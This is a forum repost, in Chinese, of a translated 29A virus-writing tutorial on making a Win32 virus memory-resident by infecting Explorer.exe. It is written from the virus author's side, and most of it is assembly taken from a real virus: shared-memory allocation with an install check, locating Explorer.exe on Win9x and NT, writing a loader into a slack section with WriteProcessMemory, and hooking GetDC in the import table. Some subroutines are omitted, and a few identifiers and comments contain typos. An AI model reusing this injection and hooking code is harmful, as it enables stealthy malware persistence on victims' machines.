邪恶八进制信息安全团队技术讨论组's Archiver

金州 2006-7-20 19:51

[转载]Explorer内存感染

信息来源:cvc

金州转载说明,一篇老文章,个人感觉很经典。感谢作者和翻译者。祝福。::))

Explorer内存感染

作者:GriYo / 29A
翻译:pker / CVC翻译小组


介绍

在Win32环境下使我们的病毒在运行结束后仍然驻留内存是一件很不容易的事。病毒保留的内
存会随着被感染程序的结束而消失。即使是每进程驻留病毒(per-process viruses),也只
是在感染例程没有结束时才能存在于内存中。

为了在Win32环境下获得完全的驻留,我们可以考虑如下实现:

  -  我们可以在我们的病毒中加入可以把自己的病毒代码写入到磁盘并生成一个可执行
     文件然后运行它(译注:通常我们称这种技术为drop)。

  -  还有一种有趣的可行做法就是把我们的病毒注册为系统服务:通过在Win9x中调用
     RegisterServiceProcess或者在WinNT/2000中通过系统的服务控制管理器
     (Service Control Manager)…。但是这样做仍然需要把病毒代码drop到磁盘上。

  -  把病毒写成驱动的形式也是一个可行的做法,但是这样我们就需要处理Win9x/NT/2000
     之间的不兼容性。

  -  我们可以把兼容性搁在一边,可以考虑一些粗鲁的驻留手段。这样我们可以切换到
     ring-0,以便调用VxDCall或者其他技术。
  
这篇文章中我将介绍一种驻留技术:在内存中感染Explorer.exe并驻留在它的地址空间中。
虽然这个技术已经不是什么新技术了,但是我还没有看到过任何一个在WinNT/2000下使用这
个技术的病毒或者是相关的文章。所以,让我们从这里开始吧!
  

实现

我们将按照下面的步骤一步步地实现我们的目的:

  -  首先要为病毒保留一块内存。我们使用CreateFileMappingA和MapViewOfFile。这样
     我们保留的内存对其他进程来说将是可见的(记得吗,内存映射文件允许我们在进
     程间共享内存数据)
  -  下面我们要找到Explorer.exe进程并且可以对它进行访问。

  -  一旦我们在内存中访问到Explorer.exe,我们就要在其中寻找一段空穴(hole)。
     我们要在其中插入一小段代码。插入这段代码的目的是使我们的内存块(memory-
     block)对Explorer.exe进程是可见的。(译注:在这段代码中要保持一个对病毒
     内存块的引用,这样当我们的感染例程结束后这块内存才不会被释放掉)

  -  最后,我们要挂钩一个Explorer.exe使用的API,这样,当这个API被调用的时候我
     们插入的代码可以得到控制权。
  
1. 分配共享内存:
通过使用内存映射文件,我们可以保留一块内存并且稍候可以通过其他进程访问到。我们同
时要用到一个关于内存映射文件的鲜为人知的特性:一个内存映射文件并不一定要和磁盘上
的文件产生联系。考虑如下代码:

     lea      eax,dword ptr [ebp+szObjectName]
     push      eax
     push      SIZEOF_MEMORYBLOCK
     push      00000000h
     push      PAGE_READWRITE
     push      00000000h
     push      0FFFFFFFFh
     call      dword ptr [ebp+a_CreateFileMappingA]
     or       eax,eax
     jz       GoBack2Host

     mov      edi,eax
     
     call      dword ptr [ebp+a_GetLastError]
     cmp      eax,000000B7h             ; ERROR_ALREADY_EXISTS
     je       GoBack2Host

压进栈的第一个参数是我们要映射的文件对象的文件名。最好在每个系统中这个文件名是不
同的,这样病毒不会仅仅因为带有了这个文件名而被在内存中被检测到。接下来是我们要申
请的内存区域的大小。紧随其后的是这个尺寸的高32字节(通常为0)。

下面压入的是访问权限,PAGE_READWRITE可以使我们对这块内存具有读写的权利。

接下来的一个参数被忽略了,所以我们简单地用一个NULL填充。我们的把戏就在最后压进的
这个参数上:将被映射文件的文件句柄。通过指定这个句柄为0FFFFFFFFh,这个调用将创建
一个由系统所有而非属于一个命名文件的指定大小的内存映射文件对象。这个内存映射文件
对象可以通过文件名共享。

如果调用失败我们将在寄存器EAX中得到一个NULL。如果函数调用前这个文件对象就已经存
在,函数返回这个文件对象的句柄(这时文件对象的大小就是当前大小,而不是函数调用时
指定的大小)并且GetLastError返回ERROR_ALREADY_EXISTS。这给我们提供了一个额外的特
征:我们可以在申请内存的同时进行安装检查。

下面我们来看一下这个新创建的文件映射:

     push      00000000h
     push      00000000h

     push      00000000h
     push      FILE_MAP_WRITE
     push      edi
     call      dword ptr [ebp+a_MapViewOfFile]
     or       eax,eax
     jz       GoBack2Host

前面的3个双字是将要映射的文件大小以及偏移的字节数(指定为0代表映射整个文件)。

接下来的参数是访问权限。FILE_MAP_WRITE可以使我们具有读写的权利。最后一个参数
(EDI)是由CreateFileMappingA创建的文件映射对象句柄。

上面的代码的结果是得到了一个指向申请到的内存的指针。

最后一步,我们要把病毒写入到申请的内存空间。

2. 寻找Explorer.exe进程
关于如何寻找要根据不同的操作系统而定。让我们从下面的代码开始:
  
     lea      esi,dword ptr [ebp+system_version]
     push      esi
     mov      dword ptr [esi],00000094h
     call      dword ptr [ebp+a_GetVersionEx]
     or       eax,eax
     jz       GoBack2Host

     add      esi,00000010h
     cld
     lodsb

     cmp      eax,VER_PLATform_WIN32_NT
     je       MemInfectWinNt
  
     cmp      eax,VER_PLATform_WIN32_WINDOWS
     je       MemInfectWin9x

下面让我们分别来看:

1) 在Win9x下寻找Explorer.exe
在Win9x中我们有一系列的函数可以用来枚举当前系统中的进程、模块和线程。这些就是
TOOLHELP32函数族,他们在kernel32.dll中,并且只在Win9x下有效。(译注:这些函数在
Windows 9x /2k/XP/2k3中均有效,并声明在tlhelp32.h中,但在NT中不存在):
     
     CreateToolhelp32Snapshot
     Heap32First
     Heap32ListFirst
     Heap32ListNext
     Heap32Next
     Module32First
     Module32Next
     Process32First
     Process32Next
     Thread32First
     Thread32Next
     Toolhelp32ReadProcessMemory

我们将集中讨论其中5个函数:

  -  CreateToolhelp32Snapshot
     允许我们为系统照一张快照。余下的几个函数将允许我们访问由这个快照得到的信
     息。

  -  Process32First和Process32Next
     从系统快照中提取进程相关信息。

  -  Module32First和Module32Next
     从系统快照中提取与一进程相关的模块信息

让我们来看看这个函数是如何工作的:

     push      00000000h
     push      TH32CS_SNAPPROCESS
     call      dword ptr [ebp+a_CreateToolhelp32Snapshot]
     cmp      eax,0ffffffffh
     je       ExitMemWin9x

     mov      dword ptr [ebp+hSnapshot],eax

第一个参数指定了进程ID,如果建立的是当前进程的快照这个参数将被忽略。

下一个参数指定了系统的哪个部分信息将被包含在快照中。这个参数可以是如下取值:

     TH32CS_INHERIT       使返回的句柄可继承
     TH32CS_SNAPALL       得到整个系统的快照
     TH32CS_SNAPHEAPLIST    包含指定进程的堆列表
     TH32CS_SNAPMODULE     列出指定进程加载的模块
     TH32CS_SNAPPROCESS    列出所有进程
     TH32CS_SNAPTHREAD     包含线程列表

我们创建一个TH32CS_SNAPPROCESS快照并且用Process32First和Process32Next寻找Explorer.exe。

     lea      eax,dword ptr [ebp+ProcessEntry]
     push      eax
     mov      dword ptr [eax],SIZEOFPROCESSENTRY
     push      dword ptr [ebp+hSnapshot]
     call      dword ptr [ebp+a_Process32First]
     or       eax,eax
     jz       CloseSnapshot
         
  CheckProcEntry:

     ;
     ; 检查是不是Explorer.exe
     ;

     lea      eax,dword ptr [ebp+ProcessEntry]
     push      eax
     push      dword ptr [ebp+hSnapshot]
     call      dword ptr [ebp+a_Process32Next]
     or       eax,eax
     jnz      CheckProcEntry

Process32First和Process32Next都用到了一个叫PROCESSENTRY32的结构。这是我们对
PROCESSENTRY32的定义:

  ProcessEntry           equ $
  
     ProcEdwSize            dd 00000000h
     ProcEcntUsage          dd 00000000h
     ProcEth32ProcessID       dd 00000000h
     ProcEth32DefaultHeapID    dd 00000000h
     ProcEth32ModuleID        dd 00000000h
     ProcEcntThreads         dd 00000000h
     ProcEth32ParentProcessID   dd 00000000h
     ProcEpcPriClassBase      dd 00000000h
     ProcEdwFlags           dd 00000000h
     ProcEszExeFile          db MAX_PATH dup (00h)
  
  SIZEOFPROCESSENTRY       equ    ($-ProcessEntry)

在调用这个函数之前,结构的ProcEdwSize字段必须填上这个结构的大小。否则将调用失败。

返回时,这个结构将被填充为相应的信息。我们可以看一下ProcEszExeFile字段:它包含着
被检测进程的完整路径和文件名。这个可以让我们用来确定这个进程是不是Explorer.exe
(我在例子代码中省略了这段因为这不是这篇文章主要要讨论的内容)。

一旦我们定位到了Explorer.exe,我们就关闭快照并建立一个新的快照。这次我们请求得到
关于Explorer.exe进程的模块信息。

     push      dword ptr [ebp+hSnapshot]
     call      dword ptr [ebp+a_CloseHandle]
     
     push      dowrd ptr [ebp+ProcEth32ProcessID]
     push      TH32CS_SNAPSHOTMODULE
  
     call      dword ptr [ebp+a_CreateToolhelp32Snapshot]
     cmp      eax,0ffffffffh
     je       ExitMemWin9x
  
     mov      dword ptr [ebp+hSnapshot],eax

为了访问快照得到的信息,我们使用Module32First和Moduel32Next函数。得到的其中一个模
块就是Explorer.exe本身。这些API返回的信息储存在下面的结构中:

  ModuleEntry         equ $

     ModEdwSize       dd 00000000h
     ModEth32ModuleID   dd 00000000h
     ModEth32ProcessID  dd 00000000h
     ModEGlblcntUsage   dd 00000000h
     ModEProccntUsage   dd 00000000h
     ModEmodBaseAddr    dd 00000000h
     ModEmodBaseSize    dd 00000000h
     ModEhModule      dd 00000000h
     ModEszModule      db MAX_MODULE_NAME32+1 dup (00h)
     ModEszExePath     db MAX_PATH dup (00h)
     
  SIZEOFMODULEENTRY     equ ($-ModuleEntry)
         
下面我们看看具体实现:
     lea      edi,dword ptr [ebp+ModuleEntry]
     push      edi
     mov      dword ptr [edi],SIZEOFMODULEENTRY
     push      eax
     call      dword ptr [ebp+a_Module32First]
     or       eax,eax
     jz       CloseSnapshot
         
  CheckEMod:
     mov      eax,dword ptr [ebp+ProcEth32ModuleID]
     cmp      eax,dword ptr [ebp+ModEth32ModuleID]
     jz       MODULE_FOUND

     push      edi                      ; lpme
     push      dword ptr [ebp+hSnapshot]        ; hSnapshot
     call      dword ptr [ebp+a_Module32Next]
     or       eax,eax
     jnz      CheckEMod

     jmp      CloseSnapshot        ; Abort if module not found

函数每一次返回我们都对ModEth32ModuleID字段和之前枚举进程时得到的ProcEth32ModuleID
字段进行比较。
  
得到Explorer.exe的模块句柄这一点很重要。ModEhModule字段包含着模块句柄。在Win32下,
这个句柄就是模块在内存中装载的基地址。
            

2) 在WinNT/2000下寻找Explorer.exe
上面提到的实现在Windows NT下不可行,因为NT中没有TOOLHELP32族函数。为了得到进程和
模块列表,我们借助于一个附加DLL:PSAPI.DLL

这个dll为我们提供了下列函数:
     EmptyWorkingSet
     EnumDeviceDrivers
     EnumProcesses
     EnumProcessModules
     GetDeviceDriverBaseName
     GetDeviceDriverFileName
     GetMappedFileName
     GetModuleBaseName
     GetModuleFileNameEx
     GetModuleInformation
     GetProcessMemoryInfo
     GetWsChanges
     InitializeProcessForWsWatch
     QueryWorkingSet

但是为了达到我们的目的我们只需要下面的几个函数即可:
  
  -  EnumProcesses
     得到一个包含每个进程ID的数组。

  -  EnumProcessModules
     返回给我们一个填写着指定进程的所有装载模块的模块句柄的数组。

例如:
     lea      edi,dword ptr [ebp+EP_Bytes]
     push      edi
     push      00000080h
     lea      esi,dword ptr [ebp+ProcessIdList]
     push      esi
     call      dword ptr [ebp+a_EnumProcesses]
     or       eax,eax
     jz       ExitMemNt

     mov      ecx,dword ptr [edi]
     shr      ecx,02h
     jecxz     ExitMemNt

第一个参数是一个指向一个变量的指针,返回时这个变量的值被写成进程ID数组的实际字节
数。

第二个参数指定了数组大小,如果它不足以放置整个列表则函数调用失败。

最后一个参数是指向接受进程ID列表的数组的指针。要确定有多少进程被EnumProcesses枚举
可以用返回的结果EP_Bytes除以04h (一个双字的大小)

下面让我们依次打开每一个返回的进程:

     push      dword ptr [ebp+PROCESS_ID]
     push      00000000h
     push      PROCESS_QUERY_INformATION or \
             PROCESS_VM_READ or \
             PROCESS_VM_WRITE or \
             PROCESS_VM_OPERATION
     call      dword ptr [ebp+a_OpenProcess]
         
大部分返回的进程不允许我们以指定的权限打开。但Explorer.exe不是那样。

当一个进程被打开后,我们就得到了一个进程句柄。我们仍然需要去确定这是不是
Explorer.exe。

下面,我们要重新得到这个进程加载的第一个模块:

     lea      edx,dword ptr [ebp+EP_Bytes]
     push      edx
     push      00000080h
     lea      esi,dword ptr [ebp+ModuleList]
     push      esi
     push      eax
  
     call      dword ptr [ebp+a_EnumProcessModules]
     or       eax,eax
     jz       NCProcess
  
     cld
     lodsd
  
     mov      dword ptr [ebp+hModuel],eax

注意我们不需要寻找其他模块:第一个返回的模块就是Explorer.exe自身。

现在我们有了一个进程的模块句柄(加载基地址)。我们用kernel32导出的
GetModuleBaseNameA函数来得到这个模块的名字,检查这是不是Explorer.exe。


     push      MAX_PATH
     lea      esi,dword ptr [ebp+BufStrFilename]
     push      esi
     push      dword ptr [ebp+hModule]
     push      dword ptr [ebp+hProcess]
     
     call      dword ptr [ebp+a_GetModuleBaseNameA]
     or       eax,eax
     jz       NCProcess

3. 接管
下面的部分是Win9x/Nt/2000通用的。

一旦我们得到了Explorer.exe的基地址,我们就可以对其调用函数ReadProcessMemory和
WriteProcessMemory了。

下面的代码演示了这两个函数的使用:

;Read process memory routine
;
;On entry:
;     eax -> Pointer to the base address from which to read
;     ecx -> Specifies the requested number of bytes to read
;     esi -> Pointer to a buffer that receives the contents from
;          the address address
;
;     [ebp+hProcess] contains the target process handle
;
;On exit:
;     eax -> NULL if error
;
;     ebx, ecx, esi, edi, ebp preserved

ReadProcessMem:
     push   edi
     push   ecx

     lea    edi,dword ptr [ebp+EP_Bytes]   ;lpNumberOfBytesRead
     push   edi
     push   ecx                    ;nSize
     push   esi                    ;lpBuffer
     push   eax                    ;lpBaseAddress
     push   dword ptr [ebp+hProcess]      ;hProcess

     call   dword ptr [ebp+a_ReadProcessMemory]

     pop    ecx

     or    eax,eax
     jz    ExitREM

     cmp    dword ptr [edi],ecx
     je    ExitREM

     xor    eax,eax

ExitREM:   
     pop    edi
          cld
          ret

;Write process memory routine
;
;On entry:
;     eax -> Pointer to the base address in the specified process
;          to which data will be written
;     ecx -> Specifies the number of bytes to write
;     esi -> Pointer to the buffer that contains data to be written
;
;     [ebp+hProcess] contains the target process handle
;
;On exit:
;     eax -> NULL if error
;
;     ebx, ecx, esi, edi, ebp preserved

WriteProcessMem:push edi
     push   ecx

     lea    edi,dword ptr [ebp+EP_Bytes]   ;lpNumberOfBytesWritten
     push   edi
     push   ecx                    ;nSize
     push   esi                    ;lpBuffer
     push   eax                    ;lpBaseAddress
     push   dword ptr [ebp+hProcess]      ;hProcess

     call   dword ptr [ebp+a_WriteProcessMemory]

     pop    ecx

     or    eax,eax
     jz    ExitWEM

     cmp    dword ptr [edi],ecx
     je    ExitWEM

     xor    eax,eax

ExitWEM:   
     pop edi
          cld
          ret
        
利用这个子程序我们就可以读写Explorer.exe的内存映像了。

现在我们已经得到了:
  -  一个具有写权限的Explorer.exe进程句柄
  -  Explorer.exe映射的基地址

我们要用它们来做什么呢?答案很简单:把我们的病毒插入到Explorer.exe的进程空间里去,
这样当我们的感染例程结束后我们的病毒仍然可以驻留内存。

让我们一步步来做。首先我们先找到节表。通过它我们找到一个合适的节:

     mov    ebx,dword ptr [ebp+hModule]
     mov    ecx,00000004h
     lea    esi,dword ptr [ebp+Explorer_MZ_lfanew]
     mov    eax,ebx
     add    eax,MZ_lfanew
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
  
     lodsd          ;There is a CLD at the end of ReadProcessMem
     or    eax,eax    ;Now esi -> Explorer_FH_SizeOfOptionalHeader
     jz    FE_Exit    ; eax -> MZ_lfanew
     add    eax,ebx
     mov    edi,eax
     add    eax,00000004h + FH_SizeOfOptionalHeader
     dec    ecx
     dec    ecx
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
     lodsw          ;Just to do
                  ;esi -> Explorer_FH_NumberOfSections
     mov    eax,edi   
     add    eax,00000004h + FH_NumberOfSections
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
     lodsw          ;esi -> Explorer_SectionHeader
     movzx  ecx,ax    ;ecx -> Number of sections
     movzx  eax,word ptr [ebp+Explorer_FH_SizeOfOptionalHeader]
     add    edi,eax
     add    edi,00000004h + IMAGE_SIZEOF_FILE_HEADER

我们需要一个具有读写属性的节。一个包含初始化数据的节。如果找到具有这样属性的节我
们还要检查这个节是不是还留有自由空间(SH_SizeOfRawData > SH_VirtualSize)。

ExplorerHole:  
     push   ecx

     mov    eax,edi
     mov    ecx,IMAGE_SIZEOF_SECTION_HEADER
     call   ReadProcessMem
     or    eax,eax
     jz    E_NextSection
  
     ;There is free space ?
     cmp    dword ptr [esi+SH_Characteristics], \
                IMAGE_SCN_MEM_READ or \
                IMAGE_SCN_MEM_WRITE or \
                IMAGE_SCN_CNT_INITIALIZED_DATA
     jne    E_NextSection
  
     mov    eax,dword ptr [esi+SH_SizeOfRawData]
     sub    eax,dword ptr [esi+SH_VirtualSize]
     js    E_NextSection
     cmp    eax,SIZEOF_EVL
     jae    Ok_E_Section


  ;Try next section
  E_NextSection:  
     add    edi,ecx
     pop    ecx
     loop   ExplorerHole
  
     ;No suitable section found
     jmp    FE_Exit

一旦我们得到了一个符合要求的节我们就可以在这里写入我们的代码,要写入的代码我们在
后面会谈到。

  Ok_E_Section:  
     pop    ecx      ;Cleanup stack
  
     ;Setup some values in the code we want to write to EXPLORER.EXE
     mov    eax,dword ptr [ebp+a_GetDC]
     mov    dword ptr [ebp+EVL_a_OrginalApiAddr],eax
  
     mov    eax,dword ptr [ebp+a_OpenFileMappingA]
     mov    dword ptr [ebp+EVL_a_OpenFileMapping],eax
     mov    eax,dword ptr [ebp+a_MapViewOfFile]
     mov    dword ptr [ebp+EVL_a_MapViewOfFile],eax
  
     mov    eax,ebx
     add    eax,dword ptr [esi+SH_VirtualAddress]
     add    eax,dword ptr [esi+SH_VirtualSize]
  
     mov    dword ptr [ebp+Explorer_Patch],eax
  
     mov    ecx,SIZEOF_EVL
     lea    esi,dword ptr [ebp+EVL_code]
     call   WriteProcessMem
     or    eax,eax
     jz    FE_Exit
  
当我们把病毒的loader写入Explorer.exe后,我们准备对Explorer.exe的API进行挂钩,这个
钩子会把控制权交到我们插入的代码中。
  
     ;Go to EXPLORER.EXE data directory
     mov    eax,ebx
     add    eax,dword ptr [ebp+Explorer_MZ_lfanew]
     add    eax,00000004h + IMAGE_SIZEOF_FILE_HEADER + \
          OH_DataDirectory.DE_Import.DD_VirtualAddress
  
     mov    ecx,00000004h
     lea    esi,dword ptr [ebp+Explorer_DE_Import]
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
  
     ;Search for USER32 import module descriptor
     lodsd
     add    eax,ebx
     mov    edi,eax
        
  E_Search_K32:  
     mov    eax,edi
     mov    ecx,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
     lea    esi,dword ptr [ebp+Explorer_ImportDescriptor]
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
  
     ;Last import module descriptor!?
     cmp    dword ptr [esi],00000000h
     je    FE_Exit
  
     ;Check import module descriptor ID_Name
     mov    eax,ebx
     add    eax,dword ptr [esi+ID_Name]
     mov    ecx,00000010h
     lea    esi,dword ptr [ebp+Explorer_ID_Name]
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
  
     push   edi
  
     lea    edi,dword ptr [ebp+BufStrFilename]
     call   parse_filename
     mov    esi,edx
     call   get_str_crc32
  
     pop    edi
  
     cmp    edx,dword ptr [ebp+CRCszUSER32] ;Is USER32.DLL ?
     je    E_Found_K32
  
  
     ;Next import module descriptor
     add    edi,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
     jmp    E_Search_K32
  
     ;USER32.DLL import module descriptor found
  E_Found_K32:   
     mov    edi,dword ptr [ebp+ Explorer_ImportDescriptor+ID_FirstThunk]
     add    edi,ebx
     mov    ecx,00000004h
     lea    esi,dword ptr [ebp+Explorer_Hook]
     
  E_NextThunk:
     mov    eax,edi
     call   ReadProcessMem
     or    eax,eax
     jz    FE_Exit
  
     mov    eax,dword ptr [esi]
     or    eax,eax
     jz    FE_Exit
  
     cmp    eax,dword ptr [ebp+a_GetDC]
     je    E_Poison
  
     add    edi,ecx
     jmp E_NextThunk
  
     ;Gotcha!
  E_Poison:  
     mov    eax,edi
     mov    dword ptr [ebp+Explorer_Init_Hook],eax
     lea    esi,dword ptr [ebp+Explorer_Patch]
  
     call   WriteProcessMem ; ECX already loaded
     or    eax,eax
     jz    FE_Exit
  
     ;Done!!!! ieieie!!!!
     ;Insert rest of code here
     ret
  
  FE_Exit:      ;Residency proc failed!
     Ret

这段代码取自一个完整的病毒。你会发现其中调用的一些子程序没有出现在这篇文章中。这
段代码只是希望起到一定的引导作用,仅此而已。

我们继续,下面的代码是我们要插入到Explorer.exe的进程空间的。

  ; Code injected into EXPLORER.EXE
  ;
  ; The purpose of this code is to get access to virus memory from
  ; EXPLORER.EXE
  
     EVL_code   equ      $
  
     ;Let some space for the return address... then save all regs
     push   eax
     pushad
  
     ;This is the original address of the API... Lets make the
     ;return address point to it
     db    0B8h           ; EAX -> Original API address
     EVL_a_OrginalApiAddr      dd 00000000h
  
     mov    dword ptr [esp+cPushad],eax
  
     ;Attempt to avoid reentrance problems
     call   MultiThreadSafe
  
     db    00h    ;Only changed over hook code, not over main virus body
  
  MultiThreadSafe:
     pop    esi
     mov    edi,esi
     cld
     lodsb
     or    al,al
     jnz    MayBeOnNextCall
     dec    al
     stosb
  
     ;Try to open the virus file-mapping
     ;There is some kinda race condition here... If the infected
     ;program terminates before this point we wont be able to
     ;find the rest of the virus in memory...
     ;In that case the hook will stay present, and this code may
     ;be able to find the virus memory-mapping on next attemps
     call   GetszObjName   ;lpName
  szObjectName      db  10h dup (00h)
  GetszObjName:  
     push   00000000h     ;bInheritHandle
     mov    edi,FILE_MAP_WRITE
     push   edi         ;dwDesiredAccess
  
     db     0B8h        ; EAX -> OpenFileMappingA
  EVL_a_OpenFileMapping     dd  00000000h
  
     call   eax
     or    eax,eax
     jz    MayBeOnNextCall
  
     ;The file-mapping is here... Get an image of it
     xor    edx,edx
     push   edx
     push   edx
     push   edx
     push   edi
     push   eax
  
     db    0B8h      ; EAX -> OpenFileMappingA
  EVL_a_MapViewOfFile    dd    00000000h
  
     call   eax
  
     or    eax,eax
     jz    MayBeOnNextCall
  
     ;Great! We have access to virus allocated memory, but
     ;remember we are now inside EXPLORER.EXE !!!!
     ;Jump to virus complete image in order to complete
     ;initialization inside EXPLORER.EXE
     add    eax,offset ExplorerInit - offset viro_sys
     call   eax
  
     ;Restore regs and jump to original API code
  MayBeOnNextCall:
     popad
     ret
  
  SIZEOF_EVL    equ    $-EVL_code

Explorer.exe中的GetDC这个API已经被挂了钩并指向上面这段代码。一旦这段代码被激活,
他会寻找共享内存块(就是我们在开篇提到的)。一旦我们得到这块内存的句柄我们就可以
确信我们的病毒已经永久地驻留系统了,直到Explorer.exe关闭。

可能有些读者会问:为什么感染例程结束了这块内存还会保留呢?答案很简单:因为一块内
存直到所有引用它的句柄都关闭了才系统才会释放它。当感染例程结束了,它关闭了所有的
句柄,但是还有一个句柄仍然打开着,是在Explorer中。

页: [1]
© 1999-2008 EvilOctal Security Team